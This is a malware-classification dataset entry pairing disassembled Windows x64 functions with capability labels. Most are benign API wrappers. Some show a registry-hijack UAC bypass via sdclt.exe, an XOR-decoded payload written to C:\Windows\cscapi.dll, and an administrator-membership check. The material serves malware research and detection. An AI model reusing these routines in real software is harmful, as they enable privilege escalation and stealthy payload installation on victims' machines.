joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400f4840
Capabilities:
Get file version info

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0xb0]
xor eax, eax
mov dword [rbp - 0x3c], eax
mov dword [rbp - 0x40], eax
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov dword [rbp + 0x28], r9d
mov rax, qword [rbp + 0x30]
mov qword [rsp + 0x20], rax
mov ecx, dword [rbp + 0x10]
mov dword [rbp - 0x74], ecx
mov rdx, qword [rbp + 0x18]
mov qword [rbp - 0x84], rdx
mov r8d, dword [rbp + 0x20]
mov dword [rbp - 0x78], r8d
mov r9d, dword [rbp + 0x28]
mov dword [rbp - 0x7c], r9d
lea rcx, [rbp - 0x70]
call fcn.140015820
mov ecx, dword [rbp - 0x74]
mov rdx, qword [rbp - 0x84]
mov r8d, dword [rbp - 0x78]
mov r9d, dword [rbp - 0x7c]
call sub.VERSION.dll_GetFileVersionInfoExW
mov dword [rbp - 0x7c], eax
lea rcx, [rbp - 0x70]
call fcn.140015870
mov eax, dword [rbp - 0x7c]
mov dword [rbp - 0x44], eax
mov eax, dword [rbp - 0x44]
mov dword [rbp - 0x40], eax
mov eax, dword [rbp - 0x40]
mov dword [rbp - 0x3c], eax
nop
mov rcx, rsp
call fcn.1400f48fb
nop
mov eax, dword [rbp - 0x3c]
mov dword [rbp - 0x48], eax
mov eax, dword [rbp - 0x48]
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x1400f7c00
Capabilities:
Enumerate process modules

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0xc0]
xor eax, eax
mov dword [rbp - 0x3c], eax
mov dword [rbp - 0x40], eax
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov qword [rbp + 0x28], r9
mov eax, dword [rbp + 0x30]
mov dword [rsp + 0x20], eax
mov rcx, qword [rbp + 0x10]
mov qword [rbp - 0x7c], rcx
mov rdx, qword [rbp + 0x18]
mov qword [rbp - 0x84], rdx
mov r8d, dword [rbp + 0x20]
mov dword [rbp - 0x74], r8d
mov r9, qword [rbp + 0x28]
mov qword [rbp - 0x8c], r9
lea rcx, [rbp - 0x70]
call fcn.140015820
mov rcx, qword [rbp - 0x7c]
mov rdx, qword [rbp - 0x84]
mov r8d, dword [rbp - 0x74]
mov r9, qword [rbp - 0x8c]
call sub.KERNEL32.dll_K32EnumProcessModulesEx
mov dword [rbp - 0x74], eax
lea rcx, [rbp - 0x70]
call fcn.140015870
mov eax, dword [rbp - 0x74]
mov dword [rbp - 0x44], eax
mov eax, dword [rbp - 0x44]
mov dword [rbp - 0x40], eax
mov eax, dword [rbp - 0x40]
mov dword [rbp - 0x3c], eax
nop
mov rcx, rsp
call fcn.1400f7cc9
nop
mov eax, dword [rbp - 0x3c]
mov dword [rbp - 0x48], eax
mov eax, dword [rbp - 0x48]
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x1400f8180
Capabilities:
Enumerate process modules

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0xb0]
xor eax, eax
mov dword [rbp - 0x3c], eax
mov dword [rbp - 0x40], eax
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov rcx, qword [rbp + 0x10]
mov qword [rbp - 0x7c], rcx
mov edx, dword [rbp + 0x18]
mov dword [rbp - 0x74], edx
mov r8, qword [rbp + 0x20]
mov qword [rbp - 0x84], r8
lea rcx, [rbp - 0x70]
call fcn.140015820
mov rcx, qword [rbp - 0x7c]
mov edx, dword [rbp - 0x74]
mov r8, qword [rbp - 0x84]
call sub.KERNEL32.dll_K32EnumProcesses
mov dword [rbp - 0x74], eax
lea rcx, [rbp - 0x70]
call fcn.140015870
mov eax, dword [rbp - 0x74]
mov dword [rbp - 0x44], eax
mov eax, dword [rbp - 0x44]
mov dword [rbp - 0x40], eax
mov eax, dword [rbp - 0x40]
mov dword [rbp - 0x3c], eax
nop
mov rcx, rsp
call fcn.1400f8222
nop
mov eax, dword [rbp - 0x3c]
mov dword [rbp - 0x48], eax
mov eax, dword [rbp - 0x48]
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x1403b0ff0
Capabilities:
Get geographical location

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0xb0]
xor eax, eax
mov dword [rbp - 0x3c], eax
mov dword [rbp - 0x40], eax
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov dword [rbp + 0x28], r9d
mov rcx, qword [rbp + 0x10]
mov qword [rbp - 0x80], rcx
mov edx, dword [rbp + 0x18]
mov dword [rbp - 0x74], edx
mov r8, qword [rbp + 0x20]
mov qword [rbp - 0x88], r8
mov r9d, dword [rbp + 0x28]
mov dword [rbp - 0x78], r9d
lea rcx, [rbp - 0x70]
call fcn.140015820
mov rcx, qword [rbp - 0x80]
mov edx, dword [rbp - 0x74]
mov r8, qword [rbp - 0x88]
mov r9d, dword [rbp - 0x78]
call sub.KERNEL32.dll_GetLocaleInfoEx
mov dword [rbp - 0x78], eax
lea rcx, [rbp - 0x70]
call fcn.140015870
mov eax, dword [rbp - 0x78]
mov dword [rbp - 0x44], eax
mov eax, dword [rbp - 0x44]
mov dword [rbp - 0x40], eax
mov eax, dword [rbp - 0x40]
mov dword [rbp - 0x3c], eax
nop
mov rcx, rsp
call fcn.1403b10a2
nop
mov eax, dword [rbp - 0x3c]
mov dword [rbp - 0x48], eax
mov eax, dword [rbp - 0x48]
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x1403b2f70
Capabilities:
Create thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0xd0]
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x48], rax
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
mov eax, dword [rbp + 0x30]
mov dword [rsp + 0x20], eax
mov rax, qword [rbp + 0x38]
mov qword [rsp + 0x28], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp - 0x88], rcx
mov rdx, qword [rbp + 0x18]
mov qword [rbp - 0x90], rdx
mov r8, qword [rbp + 0x20]
mov qword [rbp - 0x98], r8
mov r9, qword [rbp + 0x28]
mov qword [rbp - 0xa0], r9
lea rcx, [rbp - 0x80]
call fcn.140015820
mov rcx, qword [rbp - 0x88]
mov rdx, qword [rbp - 0x90]
mov r8, qword [rbp - 0x98]
mov r9, qword [rbp - 0xa0]
call sub.KERNEL32.dll_CreateThread
mov qword [rbp - 0xa0], rax
lea rcx, [rbp - 0x80]
call fcn.140015870
mov rax, qword [rbp - 0xa0]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x50]
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
mov qword [rbp - 0x40], rax
nop
mov rcx, rsp
call fcn.1403b3060
nop
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 0x58]
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x1403b3090
Capabilities:
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0xa0]
xor eax, eax
mov dword [rbp - 0x3c], eax
mov dword [rbp - 0x40], eax
mov qword [rbp + 0x10], rcx
mov rcx, qword [rbp + 0x10]
mov qword [rbp - 0x7c], rcx
lea rcx, [rbp - 0x70]
call fcn.140015820
mov rcx, qword [rbp - 0x7c]
call sub.KERNEL32.dll_ResumeThread
mov dword [rbp - 0x74], eax
lea rcx, [rbp - 0x70]
call fcn.140015870
mov eax, dword [rbp - 0x74]
mov dword [rbp - 0x44], eax
mov eax, dword [rbp - 0x44]
mov dword [rbp - 0x40], eax
mov eax, dword [rbp - 0x40]
mov dword [rbp - 0x3c], eax
nop
mov rcx, rsp
call fcn.1403b3110
nop
mov eax, dword [rbp - 0x3c]
mov dword [rbp - 0x48], eax
mov eax, dword [rbp - 0x48]
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x1403b35d0
Capabilities:
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0xc0]
xor eax, eax
mov dword [rbp - 0x3c], eax
mov dword [rbp - 0x40], eax
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov qword [rbp + 0x28], r9
mov rax, qword [rbp + 0x30]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp - 0x7c], rcx
mov rdx, qword [rbp + 0x18]
mov qword [rbp - 0x84], rdx
mov r8d, dword [rbp + 0x20]
mov dword [rbp - 0x74], r8d
mov r9, qword [rbp + 0x28]
mov qword [rbp - 0x8c], r9
lea rcx, [rbp - 0x70]
call fcn.140015820
mov rcx, qword [rbp - 0x7c]
mov rdx, qword [rbp - 0x84]
mov r8d, dword [rbp - 0x74]
mov r9, qword [rbp - 0x8c]
call sub.KERNEL32.dll_WriteFile
mov dword [rbp - 0x74], eax
lea rcx, [rbp - 0x70]
call fcn.140015870
mov eax, dword [rbp - 0x74]
mov dword [rbp - 0x44], eax
mov eax, dword [rbp - 0x44]
mov dword [rbp - 0x40], eax
mov eax, dword [rbp - 0x40]
mov dword [rbp - 0x3c], eax
nop
mov rcx, rsp
call fcn.1403b369b
nop
mov eax, dword [rbp - 0x3c]
mov dword [rbp - 0x48], eax
mov eax, dword [rbp - 0x48]
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x1403b3c20
Capabilities:
Query environment variable

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0xb0]
xor eax, eax
mov dword [rbp - 0x3c], eax
mov dword [rbp - 0x40], eax
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov rcx, qword [rbp + 0x10]
mov qword [rbp - 0x7c], rcx
mov rdx, qword [rbp + 0x18]
mov qword [rbp - 0x84], rdx
mov r8d, dword [rbp + 0x20]
mov dword [rbp - 0x74], r8d
lea rcx, [rbp - 0x70]
call fcn.140015820
mov rcx, qword [rbp - 0x7c]
mov rdx, qword [rbp - 0x84]
mov r8d, dword [rbp - 0x74]
call sub.KERNEL32.dll_GetEnvironmentVariableW
mov dword [rbp - 0x74], eax
lea rcx, [rbp - 0x70]
call fcn.140015870
mov eax, dword [rbp - 0x74]
mov dword [rbp - 0x44], eax
mov eax, dword [rbp - 0x44]
mov dword [rbp - 0x40], eax
mov eax, dword [rbp - 0x40]
mov dword [rbp - 0x3c], eax
nop
mov rcx, rsp
call fcn.1403b3cc6
nop
mov eax, dword [rbp - 0x3c]
mov dword [rbp - 0x48], eax
mov eax, dword [rbp - 0x48]
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x1403b4a40
Capabilities:
Access the windows event log

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0xd0]
xor eax, eax
mov dword [rbp - 0x3c], eax
mov dword [rbp - 0x40], eax
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov dword [rbp + 0x20], r8d
mov dword [rbp + 0x28], r9d
mov rax, qword [rbp + 0x30]
mov qword [rsp + 0x20], rax
mov eax, dword [rbp + 0x38]
cwde
mov dword [rsp + 0x28], eax
mov eax, dword [rbp + 0x40]
mov dword [rsp + 0x30], eax
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x38], rax
mov rax, qword [rbp + 0x50]
mov qword [rsp + 0x40], rax
mov eax, dword [rbp + 0x18]
movsx rdx, ax
mov dword [rbp - 0x74], edx
mov eax, dword [rbp + 0x20]
movzx r8d, ax
mov dword [rbp - 0x78], r8d
mov rcx, qword [rbp + 0x10]
mov qword [rbp - 0x84], rcx
mov r9d, dword [rbp + 0x28]
mov dword [rbp - 0x7c], r9d
lea rcx, [rbp - 0x70]
call fcn.140015820
mov edx, dword [rbp - 0x74]
mov r8d, dword [rbp - 0x78]
mov rcx, qword [rbp - 0x84]
mov r9d, dword [rbp - 0x7c]
call sub.ADVAPI32.dll_ReportEventW
mov dword [rbp - 0x7c], eax
lea rcx, [rbp - 0x70]
call fcn.140015870
mov eax, dword [rbp - 0x7c]
mov dword [rbp - 0x44], eax
mov eax, dword [rbp - 0x44]
mov dword [rbp - 0x40], eax
mov eax, dword [rbp - 0x40]
mov dword [rbp - 0x3c], eax
nop
mov rcx, rsp
call fcn.1403b4b29
nop
mov eax, dword [rbp - 0x3c]
mov dword [rbp - 0x48], eax
mov eax, dword [rbp - 0x48]
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x1403b7d20
Capabilities:
Generate random numbers via winapi

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0xb0]
xor eax, eax
mov dword [rbp - 0x3c], eax
mov dword [rbp - 0x40], eax
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov dword [rbp + 0x28], r9d
mov rcx, qword [rbp + 0x10]
mov qword [rbp - 0x80], rcx
mov rdx, qword [rbp + 0x18]
mov qword [rbp - 0x88], rdx
mov r8d, dword [rbp + 0x20]
mov dword [rbp - 0x74], r8d
mov r9d, dword [rbp + 0x28]
mov dword [rbp - 0x78], r9d
lea rcx, [rbp - 0x70]
call fcn.140015820
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x88]
mov r8d, dword [rbp - 0x74]
mov r9d, dword [rbp - 0x78]
call sub.bcrypt.dll_BCryptGenRandom
mov dword [rbp - 0x78], eax
lea rcx, [rbp - 0x70]
call fcn.140015870
mov eax, dword [rbp - 0x78]
mov dword [rbp - 0x44], eax
mov eax, dword [rbp - 0x44]
mov dword [rbp - 0x40], eax
mov eax, dword [rbp - 0x40]
mov dword [rbp - 0x3c], eax
nop
mov rcx, rsp
call fcn.1403b7dd6
nop
mov eax, dword [rbp - 0x3c]
mov dword [rbp - 0x48], eax
mov eax, dword [rbp - 0x48]
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x40c120
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.0040dd40
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.0040dd40
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x40c190
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x0042f614]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x40c338
mov rax, qword [0x0042f618]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x40c1dc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x40c267
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x40c1c0
mov rcx, r12
call fcn.0040cef0
mov rbp, rax
test rax, rax
je 0x40c372
mov rax, qword [0x0042f618]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.0040d020
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0042f618]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40c381
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x40c260
sub eax, 4
and eax, 0xfffffffb
jne 0x40c2f0
add dword [0x0042f614], 1
cmp ebx, 8
jae 0x40c298
test bl, 4
jne 0x40c340
test ebx, ebx
je 0x40c289
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x40c360
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x40c289
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x40c2ca
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x0042f618]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40c260
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.0040c120
nop dword [rax]
xor edi, edi
jmp 0x40c1e7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x40c289
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x40c289
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.0040c120
mov rax, qword [0x0042f618]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.0040c120
nop
nop dword [rax]
Function at 0x40cb60
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0042f900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0042f8e0]
test rbx, rbx
je 0x40cbb4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x40cbab
test r12, r12
je 0x40cbab
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x40cb90
lea rcx, [0x0042f900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x40cef0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x0042c490]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x40cf69
mov rcx, r10
call fcn.0040cdc0
test eax, eax
je 0x40cf69
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x40cf66
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x40cf5d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x40cf69
add r8, 0x28
cmp r8, r9
jne 0x40cf48
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x40d260
Capabilities:
Allocate thread local storage

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov eax, dword [0x0042f8e8]
mov edi, ecx
mov rsi, rdx
test eax, eax
jne 0x40cbf0
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
mov edx, 0x18
mov ecx, 1
call sub.msvcrt.dll_calloc
mov rbx, rax
test rax, rax
je 0x40cc43
mov dword [rax], edi
lea rcx, [0x0042f900]
mov qword [rax + 8], rsi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x0042f8e0]
lea rcx, [0x0042f900]
mov qword [0x0042f8e0], rbx
mov qword [rbx + 0x10], rax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
or eax, 0xffffffff
jmp 0x40cbe6
push r12
push rbx
sub rsp, 0x28
mov rbx, rcx
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov ecx, eax
cmp eax, 0xffffffff
je 0x40d290
mov rdx, r12
mov dword [rbx], eax
add rsp, 0x28
pop rbx
pop r12
jmp 0x40ddc0
add rsp, 0x28
pop rbx
pop r12
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
test rdx, rdx
jne 0x40ddd0
xor eax, eax
ret
jmp 0x40cbd0

Function at 0x40d2d0
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
sub rsp, 0x28
mov r12d, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, r12d
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, r13d
mov r12, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, r12
add rsp, 0x28
pop r12
pop r13
ret

Function at 0x40d310
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x40d328
xor eax, eax
add rsp, 0x28
ret
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x40e1b0
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push r13
mov edx, 2
xor ecx, ecx
push r12
push rbx
sub rsp, 0x60
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [0x00429140], eax
test eax, eax
js 0x40e3a8
mov dword [rsp + 0x38], 0
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x40], 0
or edx, 0xffffffff
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 0
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [0x00429140], eax
test eax, eax
js 0x40e39c
lea rax, [0x00429160]
mov r9, qword [0x0042c3e0]
mov r8d, 1
xor edx, edx
mov qword [rsp + 0x20], rax
mov rcx, qword [0x0042c3d0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [0x00429140], eax
test eax, eax
js 0x40e39c
mov r13, qword [0x00429160]
lea r12, [rsp + 0x58]
lea rdx, str.ROOTDEFAULT
mov rcx, r12
mov rax, qword [r13]
mov rbx, qword [rax + 0x18]
call fcn.0040f7b0
mov rdx, qword [rsp + 0x58]
test rdx, rdx
je 0x40e283
mov rdx, qword [rdx]
lea rax, [0x00429170]
xor r9d, r9d
xor r8d, r8d
mov rcx, r13
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call rbx
mov rcx, r12
mov dword [0x00429140], eax
call fcn.0040f750
cmp dword [0x00429140], 0
js 0x40e38f
mov rcx, qword [0x00429170]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov edx, 0xa
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 3
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov r13, qword [0x00429170]
test eax, eax
mov dword [0x00429140], eax
mov rcx, r13
mov rax, qword [r13]
js 0x40e38c
lea rdx, str.StdRegProv
mov rcx, r12
mov rbx, qword [rax + 0x30]
call fcn.0040f7b0
mov rdx, qword [rsp + 0x58]
test rdx, rdx
je 0x40e349
mov rdx, qword [rdx]
lea rax, [0x00429150]
xor r9d, r9d
xor r8d, r8d
mov rcx, r13
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
call rbx
mov rcx, r12
mov dword [0x00429140], eax
call fcn.0040f750
xor eax, eax
cmp dword [0x00429140], 0
jns 0x40e3a8
mov rcx, qword [0x00429170]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x00429160]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [0x00429140]
add rsp, 0x60
pop rbx
pop r12
pop r13
ret

Function at 0x40e3c0
Capabilities:
Create process on windows
Self delete

Disassembly:
sub rsp, 0x258
mov r8d, 0x104
xor ecx, ecx
lea r9, [rsp + 0x48]
mov qword [rsp + 0x38], r9
mov rdx, r9
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, str.SoftwareClassesFolder_shellopencommand
mov rcx, 0xffffffff80000001
call fcn.0040e470
mov r9, qword [rsp + 0x38]
lea r8, [0x0042a11c]
lea rdx, str.SoftwareClassesFolder_shellopencommand
mov rcx, 0xffffffff80000001
call fcn.0040de00
lea r9, [0x0042a11c]
lea r8, str.DelegateExecute
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareClassesFolder_shellopencommand
call fcn.0040de00
mov dword [rsp + 0x28], 1
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], 0
lea r8, str.sdclt.exe
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
add rsp, 0x258
ret
Function at 0x40e730
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push r13
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
push r12
lea rcx, str.C:Windowscscapi.dll
push rbp
push rdi
push rsi
push rbx
lea rbx, [0x00411140]
lea rsi, [rbx + 0x18000]
sub rsp, 0x58
mov qword [rsp + 0x30], 0
lea r13, [rsp + 0x4c]
lea rbp, [rsp + 0x4b]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, qword [sym.imp.KERNEL32.dll_WriteFile]
mov r12, rax
mov al, byte [rbx]
inc rbx
mov r9, r13
mov r8d, 1
mov qword [rsp + 0x20], 0
mov rdx, rbp
mov rcx, r12
xor eax, 0xffffffaa
mov byte [rsp + 0x4b], al
call rdi
cmp rbx, rsi
jne 0x40e78f
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x40e7d0
Capabilities:
Get token membership

Disassembly:
sub rsp, 0x88
mov r9d, 0x220
mov r8d, 0x20
mov edx, 2
lea rax, [rsp + 0x78]
mov dword [rsp + 0x6c], 0
lea rcx, [rsp + 0x72]
mov dword [rsp + 0x72], 0
mov word [rsp + 0x76], 0x500
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x40e871
xor ecx, ecx
mov rdx, qword [rsp + 0x78]
lea r8, [rsp + 0x6c]
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x40e866
mov dword [rsp + 0x6c], 0
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x6c], 0
setne al
add rsp, 0x88
ret